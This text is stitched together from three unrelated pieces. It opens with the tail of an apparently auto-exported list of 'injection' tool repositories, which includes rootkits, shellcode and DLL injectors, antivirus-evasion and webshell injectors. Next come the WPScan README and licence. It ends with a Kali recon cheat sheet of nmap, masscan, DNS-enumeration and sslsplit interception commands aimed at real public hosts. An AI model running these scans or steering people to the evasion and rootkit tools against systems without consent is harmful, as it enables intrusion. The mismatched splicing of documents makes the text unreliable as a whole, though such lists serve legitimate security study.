- [**61**星][11d] [JS] [tserkov/vue-plugin-load-script](https://github.com/tserkov/vue-plugin-load-script) A Vue plugin for injecting remote scripts.
- [**58**星][12d] [Py] [adhorn/aws-chaos-scripts](https://github.com/adhorn/aws-chaos-scripts) Collection of python scripts to run failure injection on AWS infrastructure
- [**57**星][5y] [C++] [scadacs/plcinject](https://github.com/scadacs/plcinject)
- [**57**星][3m] [C] [jar-o/osxinj_tut](https://github.com/jar-o/osxinj_tut) OSX injection tutorial: Hello World
- [**56**星][3y] [C++] [mq1n/dllthreadinjectiondetector](https://github.com/mq1n/dllthreadinjectiondetector)
- [**56**星][2m] [HTML] [webcoding/js_block](https://github.com/webcoding/js_block) 研究学习各种拦截：反爬虫、拦截ad、防广告注入、斗黄牛等
- [**53**星][1m] [C++] [vmcall/eye_mapper](https://github.com/vmcall/eye_mapper) BattlEye x64 usermode injector
- [**52**星][4m] [Go] [stakater/proxyinjector](https://github.com/stakater/proxyinjector) A Kubernetes controller to inject an authentication proxy container to relevant pods - [✩Star] if you're using it!
- [**52**星][29d] [C] [pwn20wndstuff/injector](https://github.com/pwn20wndstuff/injector)
- [**51**星][4m] [C++] [anubisss/szimatszatyor](https://github.com/anubisss/szimatszatyor) World of Warcraft (WoW): SzimatSzatyor is an injector sniffer written in C++
- [**51**星][4y] [C++] [uitra/injectora](https://github.com/uitra/injectora) x86/x64 manual mapping injector using the JUCE library
- [**51**星][7m] [ObjC] [kpwn/inj](https://github.com/kpwn/inj) task_for_pid injection that doesn't suck
- [**50**星][9y] [Perl] [spiderlabs/thicknet](https://github.com/spiderlabs/thicknet) TCP session interception and injection framework
- [**49**星][3m] [JS] [pownjs/pown-duct](https://github.com/pownjs/pown-duct) Essential tool for finding blind injection attacks.
- [**48**星][14d] [Py] [nickstadb/patch-apk](https://github.com/nickstadb/patch-apk) Wrapper to inject an Objection/Frida gadget into an APK, with support for app bundles/split APKs.
- [**47**星][3y] [Shell] [leanvel/iinject](https://github.com/leanvel/iinject) Tool to automate the process of embedding dynamic libraries into iOS applications from GNU/Linux
- [**47**星][11d] [Py] [adhorn/aws-lambda-chaos-injection](https://github.com/adhorn/aws-lambda-chaos-injection) Chaos Injection library for AWS Lambda
- [**46**星][1m] [C] [gdbinit/gimmedebugah](https://github.com/gdbinit/gimmedebugah) A small utility to inject a Info.plist into binaries.
- [**46**星][6m] [C] [cleric-k/flyskyrxfirmwarerssimod](https://github.com/cleric-k/flyskyrxfirmwarerssimod) Patched firmwares for the various FlySky receivers to inject RSSI in IBUS channel 14
- [**44**星][2y] [Py] [nullbites/snakeeater](https://github.com/nullbites/snakeeater) Python implementation of the reflective SO injection technique
- [**44**星][2m] [Py] [ledger-donjon/rainbow](https://github.com/ledger-donjon/rainbow) Makes Unicorn traces. Generic Side-Channel and Fault Injection simulator
- [**43**星][4m] [C#] [equifox/minjector](https://github.com/equifox/minjector) Mono Framework Injector (C#) using MInject Library
- [**43**星][4y] [C++] [sekoialab/binaryinjectionmitigation](https://github.com/sekoialab/binaryinjectionmitigation) Two tools used during our analysis of the Microsoft binary injection mitigation implemented in Edge TH2.
- [**42**星][4m] [Arduino] [exploitagency/github-esploit](https://github.com/exploitagency/github-esploit) !!! Deprecated See ESPloitV2 !!! Original PoC(Released: Sep 11, 2016) - WiFi controlled keystroke injection Using ESP8266 and 32u4 based Arduino HID Keyboard Emulator
- [**39**星][4m] [Py] [alttch/pptop](https://github.com/alttch/pptop) Open, extensible Python injector/profiler/analyzer
- [**38**星][10d] [C++] [ganyao114/sandboxhookplugin](https://github.com/ganyao114/sandboxhookplugin) demo for inject & hook in sandbox
- [**37**星][1m] [JS] [dangkyokhoang/man-in-the-middle](https://github.com/dangkyokhoang/man-in-the-middle) Modify requests, inject JavaScript and CSS into pages
- [**37**星][2m] [JS] [jackgu1988/dsploit-scripts](https://github.com/jackgu1988/dsploit-scripts) Scripts that could be injected in MITM attacks using dSploit
- [**36**星][2m] [C] [stealth/injectso](https://github.com/stealth/injectso)
- [**35**星][2y] [Java] [minervalabsresearch/coffeeshot](https://github.com/minervalabsresearch/coffeeshot) CoffeeShot: Avoid Detection with Memory Injection
- [**35**星][24d] [Ruby] [skulltech/apk-payload-injector](https://github.com/skulltech/apk-payload-injector) POC for injecting Metasploit payloads on arbitrary APKs
- [**35**星][7m] [Py] [tidesec/tdscanner](https://github.com/tidesec/tdscanner) 自动化检测小工具，主要实现了域名枚举、链接爬取、注入检测、主机扫描、目录枚举、敏感信息检测等功能~
- [**34**星][6y] [osiris123/cdriver_loader](https://github.com/osiris123/cdriver_loader) Kernel mode driver loader, injecting into the windows kernel, Rootkit. Driver injections.
- [**34**星][1m] [Py] [rudsarkar/crlf-injector](https://github.com/rudsarkar/crlf-injector) A CRLF ( Carriage Return Line Feed ) Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
- [**33**星][19d] [JS] [ebay/userscript-proxy](https://github.com/ebay/userscript-proxy) HTTP proxy to inject scripts and stylesheets into existing sites.
- [**32**星][2m] [C++] [netdex/twinject](https://github.com/netdex/twinject) Automated player and hooking framework for bullet hell games from the Touhou Project
- [**31**星][23d] [C++] [amirrezanasiri/usb-keystroke-injector](https://github.com/amirrezanasiri/usb-keystroke-injector)
- [**29**星][3y] [Assembly] [borjamerino/plcinjector](https://github.com/borjamerino/plcinjector) Modbus stager in assembly and some scripts to upload/download data to the holding register of a PLC
- [**29**星][18d] [C] [misje/dhcpoptinj](https://github.com/misje/dhcpoptinj) DHCP option injector
- [**27**星][4m] [Py] [fluxius/v2ginjector](https://github.com/fluxius/v2ginjector) V2GInjector - Tool to intrude a V2G PowerLine network, but also to capture and inject V2G packets
- [**27**星][3m] [Py] [xfkxfk/pyvulhunter](https://github.com/xfkxfk/pyvulhunter) python audit tool 审计 注入 inject
- [**25**星][9m] [Shell] [civisanalytics/iam-role-injector](https://github.com/civisanalytics/iam-role-injector) Assumes an IAM role via awscli STS call, injecting temporary credentials into shell environment
- [**25**星][5m] [C] [hatching/tracy](https://github.com/hatching/tracy) tracy - a system call tracer and injector. Find us in #tracy on irc.freenode.net
- [**25**星][9m] [JS] [sbarre/proxy-local-assets](https://github.com/sbarre/proxy-local-assets) BrowserSync-based Gulpfile to inject local development assets into a remote site
- [**24**星][2y] [retrogamer74/firmwarev5.05_mirahen_baseinjection](https://github.com/retrogamer74/firmwarev5.05_mirahen_baseinjection) Mira HEN 5.05 PS4 Fast developed firmware just for the basic injection
- [**23**星][1y] [JS] [0xsobky/xssbuster](https://github.com/0xsobky/xssbuster) XSSB is a proactive DOM sanitizer, defending against client-side injection attacks!
- [**23**星][1m] [C] [kismetwireless/lorcon](https://github.com/kismetwireless/lorcon) LORCON 802.11 Packet Injection Library (Mirror of Kismet repository)
- [**22**星][4m] [C++] [arsunt/tr2main](https://github.com/arsunt/tr2main) Tomb Raider II Injector Dynamic Library
- [**22**星][3y] [Cycript] [keith/injecturlprotocol](https://github.com/keith/injecturlprotocol) Inject a custom NSURLProtocl into a running application
- [**22**星][2y] [Py] [swisskyrepo/whid_toolkit](https://github.com/swisskyrepo/whid_toolkit) Simple script for the WHID injector - a rubberducky wifi
- [**21**星][4m] [Py] [bountystrike/injectus](https://github.com/bountystrike/injectus) CRLF and open redirect fuzzer
- [**20**星][1m] [Py] [migolovanov/libinjection-fuzzer](https://github.com/migolovanov/libinjection-fuzzer) This tool was written as PoC to article
- [**20**星][2m] [Smarty] [saltwaterc/aircrack-db](https://github.com/saltwaterc/aircrack-db) A list of wireless cards tested with the dual-card injection test and in the field
- [**19**星][1m] [Java] [toparvion/jmint](https://github.com/toparvion/jmint) jMint is a Side Effect Injection (SEI) tool aimed at simplicity of modifications expression
- [**17**星][2y] [Py] [mostafasoliman/cve-2017-6079-blind-command-injection-in-edgewater-edgemarc-devices-exploit](https://github.com/mostafasoliman/cve-2017-6079-blind-command-injection-in-edgewater-edgemarc-devices-exploit)
- [**17**星][2y] [C] [paullj1/w-swfit](https://github.com/paullj1/w-swfit) x64 Windows Software Fault Injection Tool
- [**16**星][7y] [cccssw/jynkbeast](https://github.com/cccssw/jynkbeast) A novel rootkit under linux(test under cents 5.4) combine with preload_inject and sys_table modify
- [**16**星][12d] [JS] [freehuntx/frida-inject](https://github.com/freehuntx/frida-inject) This module allows you to easily inject javascript using frida and frida-load.
- [**15**星][17d] [Py] [ezelf/modbuskiller](https://github.com/ezelf/modbuskiller) [#Schneider] Dos PLC Modicon via Modbus Injection
- [**14**星][2y] [chango77747/shellcodeinjector_msbuild](https://github.com/chango77747/shellcodeinjector_msbuild)
- [**13**星][1y] [JS] [lukaszmakuch/snabbdom-signature](https://github.com/lukaszmakuch/snabbdom-signature) Protects your app against vnode injection.
- [**13**星][2y] [C] [mnavaki/faros](https://github.com/mnavaki/faros) FAROS: Illuminating In-Memory Injection Attacks via Provenance-based Whole System Dynamic Information Flow Tracking
- [**12**星][3y] [C++] [wyexe/x64injector](https://github.com/wyexe/X64Injector)
- [**12**星][4m] [Java] [orhun/apkservinject](https://github.com/orhun/apkservinject) Tool for injecting (smali) services to APK files
- [**11**星][7y] [Component Pascal] [dilshan/kidogo](https://github.com/dilshan/kidogo) Open Source USB Digital Signal Injector
- [**11**星][2m] [C] [resilar/psyscall](https://github.com/resilar/psyscall) Linux syscall() injection
- [**11**星][9m] [C] [wrenchonline/kernelapcinject](https://github.com/wrenchonline/kernelapcinject)
- [**10**星][1y] [C#] [guitmz/msil-cecil-injection](https://github.com/guitmz/msil-cecil-injection) Injection of MSIL using Cecil
- [**10**星][26d] [C++] [hrt/mouseinjectdetection](https://github.com/hrt/mouseinjectdetection) Simple method of checking whether or not mouse movement or buttons (<windows 10) are injected
- [**10**星][3m] [C++] [jamesits/bgrtinjector](https://github.com/jamesits/bgrtinjector) Customize boot logo without modifying BIOS (UEFI firmware).
- [**9**星][16d] [JS] [davuxcom/frida-scripts](https://github.com/davuxcom/frida-scripts) Inject JS and C# into Windows apps, call COM and WinRT APIs
- [**8**星][2y] [C++] [xiaobo93/unmodule_shellcode_inject](https://github.com/xiaobo93/unmodule_shellcode_inject) 无模块注入工程 VS2008
- [**8**星][7m] [JS] [omarkurt/ssjs](https://github.com/omarkurt/ssjs) SSJS Web Shell Injection Case
- [**7**星][6m] [Shell] [enixes/injectorist](https://github.com/enixes/injectorist) A simple script to check all Wireless cards connected to your computer for Packet Injection capability
- [**7**星][2m] [C] [idigitalflame/inyourmems](https://github.com/idigitalflame/inyourmems) Windows Antivirus Evasion and Memory Injection
- [**7**星][2y] [CSS] [kp625544/runtime_secure](https://github.com/kp625544/runtime_secure) Injecting Security at run-time for web applications
- [**7**星][5m] [ObjC] [troyzhao/aanticrack](https://github.com/troyzhao/aanticrack) 注入与反注入工具 Disabled the injection defenses tool
- [**7**星][8m] [C] [anyfi/wperf](https://github.com/anyfi/wperf) 802.11 frame injection/reception tool for Linux mac80211 stack
- [**6**星][8y] [C++] [yifanlu/psxperia-wrapper](https://github.com/yifanlu/psxperia-wrapper) Loads injected PSX games on Xperia Play
- [**6**星][5y] [C] [mwwolters/dll-injection](https://github.com/mwwolters/DLL-Injection)
- [**6**星][2y] [C] [moepinet/moepdefend](https://github.com/moepinet/moepdefend) Example monitoring/injection tool based on libmoep
- [**6**星][3y] [JS] [juzna/packet-injector](https://github.com/juzna/packet-injector) Packet analyzer and injector, written in JavaScript
- [**5**星][5m] [Java] [zabuzaw/mem-eater-bug](https://github.com/zabuzaw/mem-eater-bug) API that provides various methods for memory manipulation and injection using JNA.
- [**5**星][6m] [C++] [sh0/airown](https://github.com/sh0/airown) Packet injection tool
- [**4**星][4m] [C#] [mojtabatajik/.net-code-injector](https://github.com/mojtabatajik/.net-code-injector) Proof of concept of .Net worms
- [**3**星][1y] [JS] [mhelwig/wp-webshell-xss](https://github.com/mhelwig/wp-webshell-xss) A simple wordpress webshell injector
- [**3**星][7m] [C++] [sujuhu/antinject](https://github.com/sujuhu/antinject)
- [**2**星][4y] [c++] [C4t0ps1s/injectme](https://bitbucket.org/c4t0ps1s/injectme)
- [**2**星][6m] [Java] [conanjun/xssblindinjector](https://github.com/conanjun/xssblindinjector) burp插件，实现自动化xss盲打以及xss log
- [**2**星][2y] [JS] [mylesjohnson/pipe-injector](https://github.com/mylesjohnson/pipe-injector) Node.js script that can detect when "curl ... | bash" is being used and serve a different file than normal
- [**2**星][2y] [C] [neocui/uefi-var-in-disk](https://github.com/neocui/uefi-var-in-disk) Inject the UEFI variable in the first sector of hard disk
- [**2**星][2y] [C++] [wqqhit/dnshijack](https://github.com/wqqhit/dnshijack) A tool to poison a systems DNS cache by injecting faked DNS responses.
- [**2**星][2y] [JS] [xymostech/aphrodite-globals](https://github.com/xymostech/aphrodite-globals) A library for injecting global-scope styles using Aphrodite.
- [**2**星][4y] [C] [derosier/packetvector](https://github.com/derosier/packetvector) 802.11 management packet injection tool based on packetspammer
- [**2**星][2m] [C] [trustedsec/inproc_evade_get-injectedthread](https://github.com/trustedsec/inproc_evade_get-injectedthread) PoC code from blog
- [**1**星][2y] [C] [abapat/dnspoison](https://github.com/abapat/dnspoison) A DNS packet injection and poisoning detection utility
- [**1**星][8y] [C++] [iagox86/old-injector](https://github.com/iagox86/old-injector)
- [**1**星][8m] [Go] [joanbono/pixload](https://github.com/joanbono/pixload) Image Payload Creating/Injecting tools
- [**1**星][3y] [C++] [bradleykirwan/disassociatedwifi](https://github.com/bradleykirwan/disassociatedwifi) A user space application for injecting packets into a WiFi interface in monitor mode.
- [**1**星][8y] [C] [iitis/iitis-generator](https://github.com/iitis/iitis-generator) Software for distributed statistical evaluation of IEEE 802.11 wireless networks using Linux mac80211 packet injection facility
- [**1**星][2y] [Py] [cardangi/xss-injector-python3-](https://github.com/cardangi/xss-injector-python3-) XSS PoC
- [**1**星][6m] [Py] [gunnargrosch/serverless-chaos-demo](https://github.com/gunnargrosch/serverless-chaos-demo) This example demonstrates how to use Adrian Hornsby's Failure Injection Layer (
- [**0**星][2y] [C] [brorica/http_inject](https://github.com/brorica/http_inject)
- [**0**星][1y] [phuctam/server-side-template-injection-in-craftcms-](https://github.com/phuctam/server-side-template-injection-in-craftcms-)
- [**0**星][4y] [Py] [dshtanger/zabbix_insertdb_injection_analy](https://github.com/dshtanger/zabbix_insertdb_injection_analy)
- [**None**星][JS] [sajjadium/origintracer](https://github.com/sajjadium/origintracer) OriginTracer: An In-Browser System for Identifying Extension-based Ad Injection
- [**None**星][C] [kebugcheckex0xfffffff/kernel-dll-injector](https://github.com/kebugcheckex0xfffffff/kernel-dll-injector) Kernel-Mode Driver that loads a dll into every new created process that loads kernel32.dll module
- [**None**星][C++] [contionmig/millin-injector](https://github.com/contionmig/millin-injector) Millin Injector offers many features which can aid in creating usermode cheats. Its meant to be light weight and allow users to view things such as loaded modules, imports and other smaller things
- [**None**星][Java] [zabuzard/mem-eater-bug](https://github.com/zabuzard/mem-eater-bug) API that provides various methods for memory manipulation and injection using JNA.
- [**None**星][Py] [roottusk/xforwardy](https://github.com/roottusk/xforwardy) Host Header Injection Scanner
- [**None**星][C#] [thenameless314159/sockethook](https://github.com/thenameless314159/sockethook) Socket hook is an injector based on EasyHook which redirect the traffic to your local server.
***
## <a id="7004b87c5ab514b352dd7cc91acdd17b"></a>文章
- 2020.05 [netsparker] [Top 5 Most Dangerous Injection Attacks](https://www.netsparker.com/blog/web-security/top-dangerous-injection-attacks/)
- 2020.03 [rpis] [Injecting into 32-bit programs on macOS Mojave](https://rpis.ec/blog/mach_inject_32-writeup/)
# 贡献
内容为系统自动导出, 有任何问题请提issue
|
[](https://badge.fury.io/rb/wpscan)
[](https://travis-ci.org/wpscanteam/wpscan)
[](https://codeclimate.com/github/wpscanteam/wpscan)
[](https://www.patreon.com/wpscan)
# INSTALL
## Prerequisites:
- Ruby >= 2.3 - Recommended: latest
- Curl >= 7.21 - Recommended: latest - FYI the 7.29 has a segfault
- RubyGems - Recommended: latest
### From RubyGems:
```
gem install wpscan
```
### From sources:
Prerequisites: Git
```
git clone https://github.com/wpscanteam/wpscan
cd wpscan/
bundle install && rake install
```
# Docker
Pull the repo with ```docker pull wpscanteam/wpscan```
# Usage
```wpscan --url blog.tld``` This will scan the blog using default options with a good compromise between speed and accuracy. For example, the plugins will be checked passively but their version with a mixed detection mode (passively + aggressively). Potential config backup files will also be checked, along with other interesting findings. If a more stealthy approach is required, then ```wpscan --stealthy --url blog.tld``` can be used.
As a result, when using the ```--enumerate``` option, don't forget to set the ```--plugins-detection``` accordingly, as its default is 'passive'.
For more options, open a terminal and type ```wpscan --help``` (if you built wpscan from the source, you should type the command outside of the git repo)
The DB is located at ~/.wpscan/db
WPScan can load all options (including the --url) from configuration files, the following locations are checked (order: first to last):
* ~/.wpscan/cli_options.json
* ~/.wpscan/cli_options.yml
* pwd/.wpscan/cli_options.json
* pwd/.wpscan/cli_options.yml
If those files exist, options from them will be loaded and overridden if found twice.
e.g:
~/.wpscan/cli_options.yml:
```
proxy: 'http://127.0.0.1:8080'
verbose: true
```
pwd/.wpscan/cli_options.yml:
```
proxy: 'socks5://127.0.0.1:9090'
url: 'http://target.tld'
```
Running ```wpscan``` in the current directory (pwd), is the same as ```wpscan -v --proxy socks5://127.0.0.1:9090 --url http://target.tld```
# PROJECT HOME
[https://wpscan.org](https://wpscan.org)
# VULNERABILITY DATABASE
[https://wpvulndb.com](https://wpvulndb.com)
# LICENSE
## WPScan Public Source License
The WPScan software (henceforth referred to simply as "WPScan") is dual-licensed - Copyright 2011-2018 WPScan Team.
Cases that include commercialization of WPScan require a commercial, non-free license. Otherwise, WPScan can be used without charge under the terms set out below.
### 1. Definitions
1.1 "License" means this document.
1.2 "Contributor" means each individual or legal entity that creates, contributes to the creation of, or owns WPScan.
1.3 "WPScan Team" means WPScan’s core developers, an updated list of whom can be found within the CREDITS file.
### 2. Commercialization
A commercial use is one intended for commercial advantage or monetary compensation.
Example cases of commercialization are:
- Using WPScan to provide commercial managed/Software-as-a-Service services.
- Distributing WPScan as a commercial product or as part of one.
- Using WPScan as a value added service/product.
Example cases which do not require a commercial license, and thus fall under the terms set out below, include (but are not limited to):
- Penetration testers (or penetration testing organizations) using WPScan as part of their assessment toolkit.
- Penetration Testing Linux Distributions including but not limited to Kali Linux, SamuraiWTF, BackBox Linux.
- Using WPScan to test your own systems.
- Any non-commercial use of WPScan.
If you need to purchase a commercial license or are unsure whether you need to purchase a commercial license contact us - [email protected].
We may grant commercial licenses at no monetary cost at our own discretion if the commercial usage is deemed by the WPScan Team to significantly benefit WPScan.
Free-use Terms and Conditions;
### 3. Redistribution
Redistribution is permitted under the following conditions:
- Unmodified License is provided with WPScan.
- Unmodified Copyright notices are provided with WPScan.
- Does not conflict with the commercialization clause.
### 4. Copying
Copying is permitted so long as it does not conflict with the Redistribution clause.
### 5. Modification
Modification is permitted so long as it does not conflict with the Redistribution clause.
### 6. Contributions
Any Contributions assume the Contributor grants the WPScan Team the unlimited, non-exclusive right to reuse, modify and relicense the Contributor's content.
### 7. Support
WPScan is provided under an AS-IS basis and without any support, updates or maintenance. Support, updates and maintenance may be given according to the sole discretion of the WPScan Team.
### 8. Disclaimer of Warranty
WPScan is provided under this License on an “as is” basis, without warranty of any kind, either expressed, implied, or statutory, including, without limitation, warranties that the WPScan is free of defects, merchantable, fit for a particular purpose or non-infringing.
### 9. Limitation of Liability
To the extent permitted under Law, WPScan is provided under an AS-IS basis. The WPScan Team shall never, and without any limit, be liable for any damage, cost, expense or any other payment incurred as a result of WPScan's actions, failure, bugs and/or any other interaction between WPScan and end-equipment, computers, other software or any 3rd party, end-equipment, computer or services.
### 10. Disclaimer
Running WPScan against websites without prior mutual consent may be illegal in your country. The WPScan Team accept no liability and are not responsible for any misuse or damage caused by WPScan.
### 11. Trademark
The "wpscan" term is a registered trademark. This License does not grant the use of the "wpscan" trademark or the use of the WPScan logo.
|
## Information Gathering
* [whois](https://www.tecmint.com/whois-command-get-domain-and-ip-address-information/) [](https://www.youtube.com/watch?v=mOrWk-80ObA)
```
whois google.com
whois 216.58.206.46
```
* [nbtscan](https://www.darknet.org.uk/2017/09/nbtscan-download-netbios-scanner-for-windows-linux/) [](https://github.com/scallywag/nbtscan) [](https://www.youtube.com/watch?v=ePwBHxjOdJ4)
```
nbtstat -A 192.168.1.99
nbtscan -f addresses.txt
```
* [fping](https://fping.org/) [](https://github.com/schweikert/fping) [](https://www.youtube.com/watch?v=knRDczIQo8Q)
```
fping 50.116.66.139 173.194.35.35 98.139.183.24
fping -s -g 192.168.0.1 192.168.0.9
fping -g -r 1 192.168.0.0/24
```
* [tcptraceroute](https://linux.die.net/man/1/tcptraceroute) [](https://github.com/mct/tcptraceroute) [](https://www.youtube.com/watch?v=BvPQJVLHPjQ)
```
tcptraceroute api.opendns.com 443
tcptraceroute -T domainname
```
* [traceroute](https://linux.die.net/man/8/traceroute) [](https://www.youtube.com/watch?v=5xsYgLB5oZs)
```
traceroute example.com
```
* [xprobe2](https://linux.die.net/man/1/xprobe2) [](https://www.youtube.com/watch?v=YE-9SVE5agc)
```
xprobe2 google.com
xprobe2 -D 11 google.com
```
* [sslyze](https://tools.kali.org/information-gathering/sslyze) [](https://github.com/nabla-c0d3/sslyze) [](https://www.youtube.com/watch?v=nX8c-fixnvQ)
```
sslyze --regular bugcrowd.com
```
* [tcpdump](https://opensource.com/article/18/10/introduction-tcpdump) [](https://github.com/the-tcpdump-group/tcpdump) [](https://www.youtube.com/watch?v=1lDfCRM6dWk)
```
tcpdump host 1.1.1.1
tcpdump -i eth0
```
* [tshark](https://www.wireshark.org/docs/man-pages/tshark.html) [](https://github.com/wireshark/wireshark) [](https://www.youtube.com/watch?v=dKQ2Cuq3sqo)
```
tshark -i wlan0 -w capture-output.pcap
tshark -r capture-output.pcap
```
* [wireshark](https://www.wireshark.org/) [](https://github.com/wireshark/wireshark) [](https://www.youtube.com/watch?v=Yo8zGbCbqd0)
```
wireshark
```
* [subbrute](https://github.com/TheRook/subbrute) [](https://github.com/TheRook/subbrute) [](https://www.youtube.com/watch?v=C-OPJafxUBs)
```
./subbrute.py target.com
```
* [dnsenum](https://tools.kali.org/information-gathering/dnsenum) [](https://gitlab.com/kalilinux/packages/dnsenum) [](https://www.youtube.com/watch?v=c3Ts6F2OcWk)
```
dnsenum --enum hackthissite.org
dnsenum hackthissite.org
```
* [dnsrecon](https://tools.kali.org/information-gathering/dnsrecon) [](https://gitlab.com/kalilinux/packages/dnsrecon) [](https://www.youtube.com/watch?v=ob9Efx7d_vA)
```
./dnsrecon.py -d <domain>
./dnsrecon.py -d <domain> -t axfr
```
* [dnstracer](https://tools.kali.org/information-gathering/dnstracer) [](https://gitlab.com/kalilinux/packages/dnstracer) [](https://www.youtube.com/watch?v=MQgvNIx0Qss)
```
dnstracer www.mavetju.org
```
* [enum4linux](https://tools.kali.org/information-gathering/enum4linux) [](https://gitlab.com/kalilinux/packages/enum4linux) [](https://www.youtube.com/watch?v=hA5raaGOQKQ)
```
enum4linux -v 172.168.0.6
enum4linux -u 192.168.2.55
```
* [hping3](https://tools.kali.org/information-gathering/hping3) [](https://gitlab.com/kalilinux/packages/hping3) [](https://www.youtube.com/watch?v=ykJpPjDrtZQ)
```
hping3 -S 192.168.1.10 -p 80
hping3 –traceroute -S {target ip}
```
* [dotdotpwn](https://tools.kali.org/information-gathering/dotdotpwn) [](https://gitlab.com/kalilinux/packages/dotdotpwn) [](https://www.youtube.com/watch?v=3fbC33OcHv8)
```
dotdotpwn.pl -m http -h 192.168.1.1 -M GET
```
* [golismero](https://tools.kali.org/information-gathering/golismero) [](https://gitlab.com/kalilinux/packages/golismero) [](https://www.youtube.com/watch?v=z02inpQ--TU)
```
golismero scan http://www.0x00sec.org
golismero scan http://www.0x00sec.org -o /root/scan.txt
```
* [netmask](https://chousensha.github.io/blog/2017/07/07/netmask-kali-linux-tools/) [](https://www.youtube.com/watch?v=qtXfoIvkjxo)
```
netmask -c google.com
netmask -r 192.168.217.0/24
```
* [knock](https://kalilinuxtutorials.com/knock-enumerate-subdomains/) [](https://github.com/guelfoweb/knock) [](https://www.youtube.com/watch?v=KOmcO9jF4O8)
```
knockpy domain.com
knockpy domain.com -w wordlist.txt
```
* [lbd](https://tools.kali.org/information-gathering/lbd) [](http://gitlab.com/kalilinux/packages/lbd) [](https://www.youtube.com/watch?v=ESnSsQVigZs)
```
lbd example.com
```
* [angryFuzzer](http://www.techtrick.in/description/3542-angryfuzzer-tool-for-information-gathering-on-kali-linux) [](https://github.com/ihebski/angryFuzzer) [](https://www.youtube.com/watch?v=2LtjJmqISL0)
```
python angryFuzzer.py -u http://www.techtrick.in
```
* [miranda](https://tools.kali.org/information-gathering/miranda) [](https://gitlab.com/kalilinux/packages/miranda) [](https://www.youtube.com/watch?v=_tSbhB4kLkY)
```
miranda -i eth0 -v
```
* [ncat](http://knoxd3.blogspot.com/2013/07/how-to-use-ncat-in-kali-linux.html) [](https://github.com/nmap/nmap/tree/master/ncat) [](https://www.youtube.com/watch?v=abxNX-KZjrc)
```
ncat 192.168.1.100 80
```
* [wafw00f](https://null-byte.wonderhowto.com/how-to/identify-web-application-firewalls-with-wafw00f-nmap-0198145/) [](https://github.com/EnableSecurity/wafw00f) [](https://www.youtube.com/watch?v=EmWXfq51pE0)
```
wafw00f https://equifaxsecurity2017.com
```
* [inforfinder](https://devhub.io/repos/ggusoft-inforfinder) [](https://github.com/ggusoft/inforfinder) [](https://www.youtube.com/watch?v=i_qmAM8Y0bU)
```
python inforfinder.py --help
```
* [masscan](https://tools.kali.org/information-gathering/masscan) [](https://gitlab.com/kalilinux/packages/masscan) [](https://www.youtube.com/watch?v=JyDweRaBgXk)
```
masscan -p22,80,445 192.168.1.0/24
masscan 10.0.0.0/8 192.168.0.0/16 172.16.0.0/12 -p80
```
* [faraday](https://tools.kali.org/information-gathering/faraday) [](https://gitlab.com/kalilinux/packages/python-faraday) [](https://www.youtube.com/watch?v=chykh_WtqNA)
```
python-faraday -h
```
* [tlssled](https://tools.kali.org/information-gathering/tlssled) [](https://gitlab.com/kalilinux/packages/tlssled) [](https://www.youtube.com/watch?v=D6PuHT6sVQI)
```
tlssled 192.168.1.1 443
```
* [sslsplit](https://tools.kali.org/information-gathering/sslsplit) [](https://gitlab.com/kalilinux/packages/sslsplit) [](https://www.youtube.com/watch?v=D6PuHT6sVQI)
```
sslsplit -D -l connections.log -j /tmp/sslsplit/ -S /tmp/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
```
* [dmitry](https://tools.kali.org/information-gathering/dmitry) [](https://gitlab.com/kalilinux/packages/dmitry) [](https://www.youtube.com/watch?v=1gDI79z4oqM)
```
dmitry -winsepo example.txt example.com
dmitry -wise -o Comrade.txt scanme.nmap.org
```
* [urlcrazy](https://tools.kali.org/information-gathering/urlcrazy) [](https://tools.kali.org/information-gathering/urlcrazy)
```
urlcrazy -k dvorak -r example.com
```
* admin-panel-finder [](https://github.com/bdblackhat/admin-panel-finder) [](https://www.youtube.com/watch?v=r1k2lgvK3s0)
* [dnsmap](https://tools.kali.org/information-gathering/dnsmap) [](https://gitlab.com/kalilinux/packages/dnsmap) [](https://www.youtube.com/watch?v=hRoTp6mkrsQ)
```
./dnsmap google.com
```
* [dnmap_client](#) [](https://www.youtube.com/watch?v=Vm3NbFUxxjM)
```
dnmap_client -s <server-ip> -a <alias></alias></server-ip>
```
* [dnswalk](https://tools.kali.org/information-gathering/dnswalk) [](https://github.com/davebarr/dnswalk) [](https://www.youtube.com/watch?v=LLCcb0IgAtk)
```
dnswalk -r -d example.com.
dnswalk example.com.
```
* [fierce](https://tools.kali.org/information-gathering/fierce) [](https://gitlab.com/kalilinux/packages/fierce) [](https://www.youtube.com/watch?v=5fCU1YsF2Cs)
```
fierce -dns example.com -threads 10
```
* [fragrouter](https://tools.kali.org/information-gathering/fragrouter) [](https://gitlab.com/kalilinux/packages/fragrouter) [](https://www.youtube.com/watch?v=UYV5mwchQ2A)
```
fragrouter -i eth0 -F1
```
* ftest [](https://www.youtube.com/watch?v=JwzV7JqwBX0)
```
./ftest -f ftest.conf
```
* [arping](https://kalilinuxtutorials.com/arping/) [](https://www.youtube.com/watch?v=butXaR4Wwms)
```
arping 192.168.122.1
arping -s aa:bb:cc:dd:ee:ff 192.168.122.1
arping -c 2 192.168.122.1
```
* [cdpsnarf](https://tools.kali.org/information-gathering/cdpsnarf) [](https://gitlab.com/kalilinux/packages/cdpsnarf) [](https://www.youtube.com/watch?v=kwgmtaZx-AY)
```
cdpsnarf -i eth0 -w cdpsnarf.pcap
```
* [unicornscan](https://tools.kali.org/information-gathering/unicornscan) [](https://gitlab.com/kalilinux/packages/unicornscan) [](https://www.youtube.com/watch?v=X
_DdYUeKS-o)
```
unicornscan -v -I -mT [IP ADDRESS]
unicornscan -mTsf -Iv -r 1000 192.168.0.102:a
```
* [nmap](https://tools.kali.org/information-gathering/nmap) [](https://gitlab.com/kalilinux/packages/nmap) [](https://www.youtube.com/watch?v=5MTZdN9TEO4)
```
nmap cloudflare.com
nmap --top-ports 20 192.168.1.106
nmap -oX output.xml securitytrails.com
```
* [theHarvester](https://tools.kali.org/information-gathering/theharvester) [](https://github.com/laramies/theHarvester) [](https://www.youtube.com/watch?v=NioRu6s4_xk)
```
theHarvester -d sixthstartech.com -l 300 -b all
theHarvester.py -d wonderhowto.com -b all -l 200
```
* [twofi](https://tools.kali.org/information-gathering/twofi) [](https://github.com/digininja/twofi) [](https://www.youtube.com/watch?v=ASde4fZ3ByY)
```
twofi -h
```
* [maltego](https://www.maltego.com/?utm_source=paterva.com&utm_medium=referral&utm_campaign=301) [](https://www.youtube.com/watch?v=zemNLx0-LRw)
